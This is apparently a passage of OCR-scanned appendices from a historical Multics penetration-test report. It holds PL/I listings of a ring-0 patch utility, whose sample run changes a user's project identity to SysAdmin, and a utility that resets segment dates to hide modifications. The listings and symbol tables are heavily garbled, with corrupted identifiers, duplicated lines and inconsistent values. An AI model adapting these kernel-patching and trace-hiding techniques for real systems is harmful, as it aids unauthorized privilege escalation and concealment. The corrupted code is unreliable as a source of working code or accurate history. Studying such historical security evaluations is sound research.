<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>overlay</td>
<td>002226</td>
<td>automatic</td>
<td>bit(36)</td>
<td></td>
</tr>
<tr>
<td>podi</td>
<td>002226</td>
<td>automatic</td>
<td>bit(25)</td>
<td></td>
</tr>
<tr>
<td>pp_size</td>
<td>002226</td>
<td>automatic</td>
<td>bit(25)</td>
<td></td>
</tr>
<tr>
<td>ring_set_size</td>
<td>000094</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>save_acc</td>
<td>002207</td>
<td>automatic</td>
<td>bit(35)</td>
<td></td>
</tr>
<tr>
<td>segptr</td>
<td>002122</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>size</td>
<td>0(27)</td>
<td>002206</td>
<td>based</td>
<td></td>
</tr>
<tr>
<td>top</td>
<td>000103</td>
<td>automatic</td>
<td>bit(1)</td>
<td></td>
</tr>
<tr>
<td>the_base</td>
<td>000300</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>fp</td>
<td>002116</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>wdepptr</td>
<td>002210</td>
<td>automatic</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>sp</td>
<td>000080</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
</tbody>
</table>
### NAMES DECLARED BY DECLARE STATEMENT AND NEVER REFERENCED.

<table>
<thead>
<tr>
<th>Condition</th>
<th>000000 constant entry</th>
<th>Externally decl'd ref 116 119</th>
</tr>
</thead>
<tbody>
<tr>
<td>su</td>
<td>000046 constant entry</td>
<td>external dcl 7 ref 116 119</td>
</tr>
</tbody>
</table>

### NAMES DECLARED BY EXPLICIT CONTEXT.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Entry</th>
<th>Externally decl'd</th>
</tr>
</thead>
<tbody>
<tr>
<td>bad_count</td>
<td>0000736 constant</td>
<td>label</td>
<td>dcl 97 ref 97 120</td>
</tr>
<tr>
<td>check_init</td>
<td>001163 constant</td>
<td>label</td>
<td>dcl 159 ref 155 159</td>
</tr>
<tr>
<td>different</td>
<td>001341 constant</td>
<td>label</td>
<td>dcl 139 ref 135 139</td>
</tr>
<tr>
<td>get_bound</td>
<td>000797 constant</td>
<td>label</td>
<td>dcl 142 ref 85 102</td>
</tr>
<tr>
<td>get_name</td>
<td>000327 constant</td>
<td>label</td>
<td>dcl 63 ref 97 63</td>
</tr>
<tr>
<td>loop</td>
<td>001175 constant</td>
<td>label</td>
<td>dcl 124 ref 124 140</td>
</tr>
<tr>
<td>missing</td>
<td>000258 constant</td>
<td>label</td>
<td>dcl 94 ref 94 67 69</td>
</tr>
<tr>
<td>next</td>
<td>00124 constant</td>
<td>label</td>
<td>dcl 156 ref 152 156</td>
</tr>
<tr>
<td>skip</td>
<td>00134 constant</td>
<td>label</td>
<td>dcl 140 ref 130 140</td>
</tr>
<tr>
<td>zd</td>
<td>000114 constant</td>
<td>entry</td>
<td>external dcl 1 ref 1</td>
</tr>
</tbody>
</table>

### NAMES DECLARED BY CONTEXT OR IMPLICATION.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Entry</th>
<th>Externally decl'd</th>
</tr>
</thead>
<tbody>
<tr>
<td>baseno</td>
<td>built-in function</td>
<td>internal ref 94 94 94 154 115 116 126 128</td>
<td></td>
</tr>
<tr>
<td>basestr</td>
<td>built-in function</td>
<td>internal ref 94 94 154 115 116 126 128 129</td>
<td></td>
</tr>
<tr>
<td>fixed</td>
<td>built-in function</td>
<td>internal ref 94 94 154 115 116 126 128 129</td>
<td></td>
</tr>
<tr>
<td>mul</td>
<td>built-in function</td>
<td>internal ref 94 94 154 115 116 126 128 129</td>
<td></td>
</tr>
<tr>
<td>ptr</td>
<td>built-in function</td>
<td>internal ref 94 94 154 115 116 126 128 129</td>
<td></td>
</tr>
<tr>
<td>substr</td>
<td>built-in function</td>
<td>internal ref 94 94 154 115 116 126 128 129</td>
<td></td>
</tr>
</tbody>
</table>

### STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Data</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>1516</td>
<td>1734</td>
<td>1946</td>
</tr>
<tr>
<td>Length</td>
<td>2124</td>
<td>1516</td>
<td>96</td>
<td>154</td>
<td>119</td>
</tr>
</tbody>
</table>

External procedure zd uses 254 words of automatic storage.

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

- `r_e_a`:
  - `open`:
    - `call_ext_out_desc`
    - `call_ext_out`
  - `return`
- `set_cma`

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.

- `c_e_a`:
  - `cv_act_check_
  - `c_e_a_check`
- `expansion`
  - `ringo_get_5segment`

THE FOLLOWING EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

- `error_table_init`
- `error_table_segknown`

### LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC

<table>
<thead>
<tr>
<th>Line</th>
<th>JOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>000113</td>
<td>48</td>
<td>000121</td>
<td>41</td>
<td>000122</td>
<td>43</td>
<td>000124</td>
<td>44</td>
<td>000143</td>
<td>65</td>
<td>000154</td>
<td>46</td>
<td>000171</td>
</tr>
<tr>
<td>2</td>
<td>000172</td>
<td>51</td>
<td>000225</td>
<td>52</td>
<td>000227</td>
<td>53</td>
<td>000246</td>
<td>54</td>
<td>000250</td>
<td>99</td>
<td>000267</td>
<td>97</td>
<td>000276</td>
</tr>
<tr>
<td>3</td>
<td>000271</td>
<td>61</td>
<td>000273</td>
<td>62</td>
<td>000275</td>
<td>63</td>
<td>000327</td>
<td>64</td>
<td>000331</td>
<td>65</td>
<td>000366</td>
<td>66</td>
<td>000372</td>
</tr>
<tr>
<td>4</td>
<td>000419</td>
<td>58</td>
<td>000417</td>
<td>69</td>
<td>000460</td>
<td>70</td>
<td>000465</td>
<td>72</td>
<td>000467</td>
<td>73</td>
<td>000470</td>
<td>75</td>
<td>000474</td>
</tr>
<tr>
<td>5</td>
<td>001577</td>
<td>79</td>
<td>001577</td>
<td>81</td>
<td>000520</td>
<td>82</td>
<td>000545</td>
<td>83</td>
<td>000596</td>
<td>84</td>
<td>000597</td>
<td>85</td>
<td>000561</td>
</tr>
<tr>
<td>6</td>
<td>000532</td>
<td>88</td>
<td>000614</td>
<td>99</td>
<td>000667</td>
<td>90</td>
<td>000669</td>
<td>94</td>
<td>000670</td>
<td>98</td>
<td>000678</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>000754</td>
<td>97</td>
<td>000736</td>
<td>98</td>
<td>000767</td>
<td>102</td>
<td>000770</td>
<td>104</td>
<td>001017</td>
<td>105</td>
<td>001040</td>
<td>106</td>
<td>001042</td>
</tr>
</tbody>
</table>
APPENDIX E

Patch Utility Listing

This appendix is a listing of a patch utility corresponding to the dump utility in Appendix D. The utility, zp, is based on the installed Multics command, patch_ring_zero, documented in the *HP System Programmers' Supplement* (SPS73). Zp uses the same algorithm as zd in Appendix D and operates under the same restrictions. A sample of its use is shown below. Lines typed by the user are underlined.

```
zp pds 660 123171163101 144155151156
660 104162165151 to 123171163101
661 144040040040 to 144155151156
Type "yes" if patches are correct: yes
```

As seen above, the command requests the user to confirm the patch before actually performing the patch. The patch shown above changes the user's project identification from Druid to SysAdmin.
COMPILATION LISTING OF SEGMENT 3p
Compiled on 84/16/74 10h3.6 est Wed
Options: map
1 201 proc
2
3 /* This procedure allows privileged users to patch locations in ring 0.
4 If necessary the descriptor segment is searched to give access to patch a non-write
5 permit segment */
6
7 dcl targ char (tc) based (tp),
8 (error_table, error_table_segment) fixed bin ext,
9 (tc, first, sw) fixed bin,
10 (segptr, segptr, segptr) ptr static,
11 get_process_ID_ext entry returns (bit (36) aligned),
12 processed bit (36) aligned,
13 data (81 99) fixed bin static,
14 data (81 99) fixed bin (35),
15 overlay (Account-1) bit (36) aligned based,
16 count fixed bin static,
17 (tp, date, date, date) ptr,
18 dirname char (160),
19 own char (32),
20 cv_oct_entry (char (*)) returns (fixed bin (35))
21 cv_oct_check (char (*), fixed bin) returns (fixed bin (35))
22 ring_get_segptr entry (char (*), char (*), ptr, fixed bin),
23 (lea, lea, end) entry options (variables),
24 los_bread_ptr entry (ptr, fixed bin, fixed bin),
25 (tag, ztag) entry (ptr, fixed bin (35)),
26 buffer char (16) aligned,
27 cv_seq_ptr ext entry (fixed bin, ptr, fixed bin, fixed bin),
28 expand_path_ext entry (ptr, fixed bin, ptr, fixed bin)
29
30 dcl 1 add based aligned,
31 2 pad bit (38) unal,
32 2 acc bit (6) unal
33
34 dcl move_acc fixed bin(35);
35
36 datap = addr (data) ; /* get pointer to date area */
37 count = 0;
38
39 call cv_seq Ptr (i, tc, code) ; /* pick up the first arg (name/number) */
40 if code = error_table_namearg | tc = 0 then do;
41 msg: call lea_ ("prz name/segment offset value ... value") ;
42 return;
43 end;
44 l = cv_oct_check (targ, code) ; /* get segment number */
45 if code = 0 then do; /* didn't give number */
46 segptr = null (); /* if null() we're still in trouble */
47 call ring_get_segptr ("", targ, segptr, code) ; /* so assume ring 0 name */
48 if segptr = null (i then do;
49 msg: call lea_ ("a not found.", targ)
50 return;
51 end;
52 end;
53 else segptr = basesegptr (i) ; /* segment number given */
54
55
call cv_serg_ptr (2, To, Tc, code);  /* pick up second arg (first word to dseg) */
if code = error_table_enerror! Tc = 0 then go to errarg;  
first = cv_acc_ (targ);  
segptr = ptr (segptr, first);  
segd = ptr (segptr (0), baseno (segptr));  
call ring_get_segptr ("", "dseg", segsegptr, code);  
/* Now check the access on the segment about to be patched */
datap = addr (data1);  
datap = addr (data1);  
call zg (segd, data (0));  
if data (0) = 0 then do;
    call loa_ ("p: SOW = 0");  
    return;
  end;
if substr ( datap -> sdw.acc, 4, 3 ) = "100"b then do;
    call loa_ ("p: Nest procedure, SOW = "", date (b));
    return;
  end;
  datap -> sdw.acc = "11010"b;
call zg (prf (dwsegptr, baseno (segptr)), save_acc);  
call zg (prf (dwsegptr, baseno (segptr)), data (0));  
/* Now pick off the arguments */
loop i = 2;
loop i = 1 + i;  /* get next argument */
call cv_serg_ptr (i, To, Tc, code);  
if code = error_table_enerror! Tc = 0 then go to errarg;  
datap = addr (i-3) = cv_acc_ (targ);  
/* convert all the args */
enerrag:
  count = i - 3;
  if count = 0 then go to errarg;  
  datap -> overlay = segptr -> overlay;
  do i = 0 to count-1;  
call loa_ ("Go \"m to \"m", firsti, data (i), datal (i));
  end;
call loa_ $nni ("Type \"yes\" if patches are correct!");  
call loa_ $read_ptr (addr (bufferr), 16, 1);  /* read in the answer */
if ! "*" then go to reset;
if substr (bufferr, 1; 3) = "yes" then go to reset;
/* Now do the patches */
segptr -> overlay = datap -> overlay;
/* Now reset access (in dseg) if necessary */
reset: call zg (prf (dwsegptr, baseno (segptr)), save_acc);
### NAMES DECLARED IN THIS COMPILATION.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>NAMES DECLARED BY DECLARE STATEMENT.</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>acc</td>
<td>01380</td>
<td>based</td>
<td>bit(16)</td>
<td>level 2 packed unaligned dcl 31 set ref 74 78</td>
</tr>
<tr>
<td>buffer</td>
<td>000260</td>
<td>automatic</td>
<td>char(16)</td>
<td>dcl 7 set ref 99 99 101</td>
</tr>
<tr>
<td>code</td>
<td>000110</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 40 41 45 46 48 49 67 61 66 67</td>
</tr>
<tr>
<td>count</td>
<td>000160</td>
<td>internal static</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 30 40 92 93 93 95</td>
</tr>
<tr>
<td>cv_marg_ptr</td>
<td></td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 50 56 60</td>
</tr>
<tr>
<td>cv_ext</td>
<td>000164</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 45</td>
</tr>
<tr>
<td>cv_ext_check</td>
<td></td>
<td>constant</td>
<td>entry</td>
<td>array dcl 7 set ref 77 66 66 69 75 86 95</td>
</tr>
<tr>
<td>data</td>
<td>000110</td>
<td>automatic</td>
<td>fixed bin(35,0)</td>
<td>dcl 7 set ref 67 109</td>
</tr>
<tr>
<td>datal</td>
<td>000104</td>
<td>internal static</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 41 57 87</td>
</tr>
<tr>
<td>datap</td>
<td>000256</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 7 set ref 45 54 84 85 86 88 98 95 95 95 95</td>
</tr>
<tr>
<td>datap</td>
<td>000256</td>
<td>automatic</td>
<td>pointer</td>
<td>99 100</td>
</tr>
<tr>
<td>error_table_inode</td>
<td></td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>external dcl 7 ref 42 58 78 79 99</td>
</tr>
<tr>
<td>first</td>
<td>000101</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>external dcl 7 ref 40 61</td>
</tr>
<tr>
<td>lee_</td>
<td>000177</td>
<td>constant</td>
<td>entry</td>
<td>dcl 35 set ref 79 113</td>
</tr>
<tr>
<td>lee_annl</td>
<td>000174</td>
<td>constant</td>
<td>entry</td>
<td>dcl 7 set ref 68 64</td>
</tr>
<tr>
<td>lee_bread_ptr</td>
<td></td>
<td>constant</td>
<td>entry</td>
<td>dcl 7 set ref 47 44 49 54 59 66 79 68 80 80 93</td>
</tr>
<tr>
<td>overlay</td>
<td>000170</td>
<td>based</td>
<td>bit(36)</td>
<td>109 113 113</td>
</tr>
<tr>
<td>ring0_get esposa</td>
<td></td>
<td>based</td>
<td>bit(35,0)</td>
<td>unaligned dcl 7 set ref 68 66 66 69 88</td>
</tr>
<tr>
<td>save_acc</td>
<td>005264</td>
<td>automatic</td>
<td>fixed bin(35,0)</td>
<td>dcl 7 set ref 44 61 61 68 68 68 88 68 88 88</td>
</tr>
<tr>
<td>semaphore</td>
<td>000101</td>
<td>internal static</td>
<td>pointer</td>
<td>dcl 7 set ref 48 48 84 85 86 86 88</td>
</tr>
<tr>
<td>semap</td>
<td>000012</td>
<td>internal static</td>
<td>pointer</td>
<td>dcl 7 set ref 61 79 78 80 80 80 113 113</td>
</tr>
<tr>
<td>tgr</td>
<td>000151</td>
<td>based</td>
<td>char</td>
<td>external dcl 7 ref 60 70</td>
</tr>
<tr>
<td>tc</td>
<td>000182</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>external dcl 7 ref 60 113</td>
</tr>
<tr>
<td>tp</td>
<td>000252</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>wdsaptr</td>
<td>000184</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>zg</td>
<td>000280</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>zg2z5</td>
<td>000282</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td><strong>NAMES DECLARED BY DECLARE STATEMENT AND NEVER REFERENCED.</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>dirneme</td>
<td></td>
<td>automatic</td>
<td>char(168)</td>
<td>unaligned dcl 7</td>
</tr>
<tr>
<td>ename</td>
<td></td>
<td>automatic</td>
<td>char(32)</td>
<td>unaligned dcl 7</td>
</tr>
<tr>
<td>error_table_inode</td>
<td></td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>dcl 7</td>
</tr>
<tr>
<td>expand_path</td>
<td>000000</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7</td>
</tr>
<tr>
<td>get_process_id</td>
<td>000000</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7</td>
</tr>
<tr>
<td>age</td>
<td></td>
<td>based</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 31</td>
</tr>
<tr>
<td>padid</td>
<td></td>
<td>automatic</td>
<td>structure</td>
<td>dcl 7</td>
</tr>
<tr>
<td>padid</td>
<td></td>
<td>based</td>
<td>bit(36)</td>
<td>level 1 packed dcl 31</td>
</tr>
<tr>
<td>padid</td>
<td></td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7</td>
</tr>
<tr>
<td><strong>NAMES DECLARED BY EXPLICIT CONTEXT.</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>enders</td>
<td>000635</td>
<td>constant</td>
<td>label</td>
<td>dcl 90 ref 87 89</td>
</tr>
<tr>
<td>loop</td>
<td>000595</td>
<td>constant</td>
<td>label</td>
<td>dcl 85 ref 85 89</td>
</tr>
<tr>
<td>mass</td>
<td>000132</td>
<td>constant</td>
<td>label</td>
<td>dcl 62 ref 42 57 92</td>
</tr>
<tr>
<td>reset</td>
<td>000770</td>
<td>constant</td>
<td>label</td>
<td>dcl 113 ref 100 110 113</td>
</tr>
<tr>
<td>zp</td>
<td>000072</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 1 ref 1</td>
</tr>
<tr>
<td><strong>NAMES DECLARED BY CONTEXT OR IMPLICATION.</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>addr</td>
<td></td>
<td>builtin function</td>
<td></td>
<td>internal ref 37 66 67 99 99</td>
</tr>
<tr>
<td>base_end</td>
<td></td>
<td>builtin function</td>
<td></td>
<td>internal ref 68 79 80 80 113 113</td>
</tr>
<tr>
<td>base_aptr</td>
<td></td>
<td>builtin function</td>
<td></td>
<td>internal ref 54 68</td>
</tr>
</tbody>
</table>
null
ptr
substr

STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Data</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>1130</td>
<td>1336</td>
<td>1012</td>
</tr>
<tr>
<td>Length</td>
<td>1526</td>
<td>1012</td>
<td>296</td>
<td>156</td>
<td>116</td>
</tr>
</tbody>
</table>

External procedure zp uses 244 words of automatic storage.

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

- r_e_as
- call_ext_out_dec
- call_ext_out
- return
- copy_words
- ext_entry

THE FOLLOWING EXTERNAL ENTRICES ARE CALLED BY THIS PROGRAM.

- cu_barg_ptr
- cv_act_
- cu_act_check
- lce,__7n
- lce_bread_ptr
- ring__get_listpt-
- zp2ef

THE FOLLOWING EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

error_table_length

<table>
<thead>
<tr>
<th>LINE</th>
<th>LJC</th>
<th>LOC</th>
<th>LJC</th>
<th>LOC</th>
<th>LJC</th>
<th>LOC</th>
<th>LJC</th>
<th>LOC</th>
<th>LJC</th>
<th>LOC</th>
<th>LJC</th>
<th>LOC</th>
<th>LJC</th>
<th>LOC</th>
<th>LJC</th>
<th>LOC</th>
<th>LJC</th>
<th>LOC</th>
<th>LJC</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>000071</td>
<td>37</td>
<td>000077</td>
<td>38</td>
<td>0000101</td>
<td>40</td>
<td>0000103</td>
<td>41</td>
<td>0000121</td>
<td>42</td>
<td>0000132</td>
<td>43</td>
<td>0000147</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>45</td>
<td>000158</td>
<td>46</td>
<td>000202</td>
<td>47</td>
<td>000234</td>
<td>48</td>
<td>000237</td>
<td>49</td>
<td>000253</td>
<td>50</td>
<td>000280</td>
<td>51</td>
<td>000321</td>
<td>52</td>
<td>000327</td>
<td>53</td>
<td>000338</td>
<td>54</td>
<td>000369</td>
<td>55</td>
</tr>
<tr>
<td>61</td>
<td>000462</td>
<td>66</td>
<td>000493</td>
<td>67</td>
<td>000532</td>
<td>68</td>
<td>000535</td>
<td>69</td>
<td>000549</td>
<td>70</td>
<td>000567</td>
<td>71</td>
<td>000565</td>
<td>72</td>
<td>000565</td>
<td>73</td>
<td>000565</td>
<td>74</td>
<td>000565</td>
<td>75</td>
</tr>
<tr>
<td>76</td>
<td>000646</td>
<td>75</td>
<td>000647</td>
<td>76</td>
<td>000553</td>
<td>77</td>
<td>000554</td>
<td>78</td>
<td>000564</td>
<td>79</td>
<td>000573</td>
<td>80</td>
<td>000573</td>
<td>81</td>
<td>000573</td>
<td>82</td>
<td>000573</td>
<td>83</td>
<td>000573</td>
<td>84</td>
</tr>
<tr>
<td>85</td>
<td>000692</td>
<td>86</td>
<td>000693</td>
<td>87</td>
<td>000666</td>
<td>88</td>
<td>000671</td>
<td>89</td>
<td>000671</td>
<td>90</td>
<td>000671</td>
<td>91</td>
<td>000671</td>
<td>92</td>
<td>000671</td>
<td>93</td>
<td>000671</td>
<td>94</td>
<td>000671</td>
<td>95</td>
</tr>
<tr>
<td>96</td>
<td>000671</td>
<td>97</td>
<td>000671</td>
<td>98</td>
<td>000671</td>
<td>99</td>
<td>000671</td>
<td>100</td>
<td>000671</td>
<td>101</td>
<td>000671</td>
<td>102</td>
<td>000671</td>
<td>103</td>
<td>000671</td>
<td>104</td>
<td>000671</td>
<td>105</td>
<td>000671</td>
<td>106</td>
</tr>
</tbody>
</table>
APPENDIX F

Set Dates Utility Listing

This appendix is a listing of the set dates utility described in Section 3.4.4. The get entry point takes a pathname as an argument and remembers the dates on the segment at that time. The set entry point takes no arguments and sets the dates on the segment to the values at the time of the call to the get entry point. Set remembers the pathname as well as the dates and may be called repeatedly to handle the deactivation problem discussed in Section 3.4.4.
get:
proc:
    /* Entry point to get the dates from a segment */
dcl
    cu_sarg_ptr entry (fixed bin, ptr, fixed bin, fixed bin),
    expand_path_ entry (ptr, fixed bin, ptr, ptr, fixed bin),
    cos_err_ entry options (variable),
    hcs_status_long entry (char (*), char (*), fixed bin (1), ptr, ptr, fixed bin),
    hcs_set_dates entry (char (*), char (*), ptr, fixed bin);
dcl
    argp ptr,
    arg1 fixed bin,
    code fixed bin,
    dir char (168) int static init (""),
    entry char (32) int static init (""),
    arg char (arg1) based (argp),
    bp ptr;
dcl
    time aligned internal static,
    2 (df1ms, dft, dtu, dtms) bit (36) unaligned;
dcl
    1 branch aligned,
    2 (type bit (2), names bit (16), nsep bit (18), dft bit (36), dtu bit (36), code bit (19), padding
    bit (13), records bit (18), dft bit (36), dtu bit (36), sect bit (36), curfile bit (12), bitent
    bit (24), did bit (4), add bit (4), copyex bit (1), padz bit (9), nbs (812) bit (6), vid bit (36)
    ) unaligned;
call cu_sarg_ptr (1, argp, arg1, code); /* get relative pathname from command line */
if code = 0 then
    goto 33 end
    call cos_err_ (code, "get");
    return;
end
    call expand_path_ (argp, arg1, addr (dir), addr (entry), code);
if code = 0 then
    goto 39 end
    call cos_err_ (code, "get", arg1);
    return;
end
    bp = addr (branch);
call hcs_status_long (dir, entry, 1, bp, null (1), code); /* read out dates on segment */
if code = 0 then goto error;
    time, dtms = branch, dtms;
    time, dft = branch, dft;
    time, dtu = branch, dtu;
    time, dte = branch, dte;
    return;
set:
entry;
57 /* Entry to set the dates on a segment to the values at the time of the set call */
58
59    call hcs_set_dates (dir, entry, addr (time), code); /* set the dates */
60   if code = 0 then go to err; end;
NAMES DECLARED IN THIS COMPILED.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>accr</td>
<td>6</td>
<td>automatic</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>arg</td>
<td></td>
<td>based</td>
<td>char</td>
<td>unaligned dcl 16 set ref 40</td>
</tr>
<tr>
<td>argg</td>
<td>0</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 14 set ref 30 37 40 60</td>
</tr>
<tr>
<td>bitcnt</td>
<td>7(12)</td>
<td>automatic</td>
<td>pointar</td>
<td>dcl 14 set ref 30 37 40</td>
</tr>
<tr>
<td>bp</td>
<td>0</td>
<td>automatic</td>
<td>pointar</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>branch</td>
<td>0</td>
<td>automatic</td>
<td>structure</td>
<td>dcl 14 set ref 44 45</td>
</tr>
<tr>
<td>code</td>
<td>0</td>
<td>constant</td>
<td>entry</td>
<td>level 1 packed dcl 25 set ref 40</td>
</tr>
<tr>
<td>cos_err</td>
<td>10(8)</td>
<td>constant</td>
<td>entry</td>
<td>dcl 14 set ref 30 31 32 37 30 45 46 59 60</td>
</tr>
<tr>
<td>cosyma</td>
<td>0</td>
<td>automatic</td>
<td>bit(2)</td>
<td>external dcl 8 ref 33 60</td>
</tr>
<tr>
<td>cu_narg_ntr</td>
<td></td>
<td>automatic</td>
<td>bit(12)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>curien</td>
<td>0</td>
<td>automatic</td>
<td>bit(4)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>did</td>
<td>0</td>
<td>internal static</td>
<td>char(160)</td>
<td>initial unaligned dcl 14 set ref 37 37 45 49</td>
</tr>
<tr>
<td>dir</td>
<td>0</td>
<td>internal static</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25 set ref 40</td>
</tr>
<tr>
<td>dir_</td>
<td>1</td>
<td>internal static</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 22 set ref 40</td>
</tr>
<tr>
<td>dir_2</td>
<td>2</td>
<td>internal static</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25 set ref 91</td>
</tr>
<tr>
<td>dmu</td>
<td>0</td>
<td>internal static</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25 set ref 91</td>
</tr>
<tr>
<td>entry</td>
<td>2</td>
<td>internal static</td>
<td>bit(32)</td>
<td>initial unaligned dcl 14 set ref 37 37 45 49</td>
</tr>
<tr>
<td>expand_path_</td>
<td></td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 37 37 45 49</td>
</tr>
<tr>
<td>hcs_sesr_data</td>
<td></td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 99</td>
</tr>
<tr>
<td>hcs_status_</td>
<td></td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 60</td>
</tr>
<tr>
<td>mode</td>
<td>10(4)</td>
<td>automatic</td>
<td>bit(4)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>mode_2</td>
<td>3</td>
<td>automatic</td>
<td>bit(9)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>nbs_</td>
<td>10(16)</td>
<td>automatic</td>
<td>bit(6)</td>
<td>array level 2 packed unaligned dcl 29</td>
</tr>
<tr>
<td>names_</td>
<td>0(8)</td>
<td>automatic</td>
<td>bit(18)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>nstz_</td>
<td>10(18)</td>
<td>automatic</td>
<td>bit(9)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>padding_</td>
<td>3(10)</td>
<td>automatic</td>
<td>bit(13)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>padding_2</td>
<td>3(10)</td>
<td>automatic</td>
<td>bit(9)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>padding_3</td>
<td>3(10)</td>
<td>automatic</td>
<td>bit(9)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>time_</td>
<td>0(8)</td>
<td>internal static</td>
<td>structure</td>
<td>level 1 packed dcl 22 set ref 99 99</td>
</tr>
<tr>
<td>type_</td>
<td>0</td>
<td>automatic</td>
<td>bit(2)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
<tr>
<td>uid_</td>
<td>11</td>
<td>automatic</td>
<td>bit(36)</td>
<td>level 2 packed unaligned dcl 25</td>
</tr>
</tbody>
</table>

NAMES DECLARED BY EXPLICIT CONTEXT.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES</th>
</tr>
</thead>
<tbody>
<tr>
<td>err</td>
<td>0</td>
<td>label</td>
<td>dcl 33 ref 33 69</td>
</tr>
<tr>
<td>error</td>
<td>0</td>
<td>label</td>
<td>dcl 40 ref 40 46</td>
</tr>
<tr>
<td>pdb_</td>
<td>0</td>
<td>constant</td>
<td>external dcl 1 ref 1</td>
</tr>
<tr>
<td>set</td>
<td>0</td>
<td>constant</td>
<td>external dcl 54 ref 54</td>
</tr>
</tbody>
</table>

NAMES DECLARED BY CONTEXT OR IMPLICATION.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES</th>
</tr>
</thead>
<tbody>
